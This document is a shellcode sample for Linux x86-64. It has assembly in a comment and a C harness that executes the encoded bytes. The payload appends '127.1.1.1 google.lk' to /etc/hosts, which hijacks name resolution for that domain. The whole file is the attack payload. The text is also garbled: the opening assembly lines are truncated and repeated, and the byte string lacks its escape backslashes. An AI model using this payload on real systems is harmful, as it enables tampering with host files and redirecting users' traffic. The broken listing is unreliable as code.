/*
global _start
section .text
_start:
;open
push 2
pop rax
xor rdi, rdi
push rdi ; 0x00
mov rbx, 0x7374736f682f2f2f ; ///h /*
global _start
section .text
_start:
;open
push 2
pop rax
xor rdi, rdi
push rdi ; 0x00
mov rbx, 0x7374736f682f2f2f ; ///hosts
push rbx
mov rbx, 0x2f2f2f2f6374652f ; /etc////
push rbx
push rsp
pop rdi
xor rsi,rsi
mov sil,4
sal rsi,8
mov sil,1
syscall
;write
push rax
pop rdi
push 1
pop rax
jmp data
write:
pop rsi
push len ; length in rdx
pop rdx
syscall
;close
push 3
pop rax
syscall
;exit
push 60
pop rax
xor rdi, rdi
syscall
data:
call write
text db '127.1.1.1 google.lk'
len equ $-text
*/

#include<stdio.h>
#include<string.h>
unsigned char code[] =
"x6ax02x58x48x31xffx57x48xbbx2fx2fx2fx68x6fx73x74x73x53x48xbbx2fx65x74x63x2fx2fx2fx2fx53x54x5fx48x31xf6x40xb6x04x48xc1xe6x08x40xb6x01x0fx05x50x5fx6ax01x58xebx13x5ex6ax13x5ax0fx05x6ax03x58x0fx05x6ax3cx58x48x31xffx0fx05xe8xe8xffxffxffx31x32x37x2ex31x2ex31x2ex31x20x67x6fx6fx67x6cx65x2ex6cx6b";
void main()
{
printf("Shellcode Length: %lu ", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}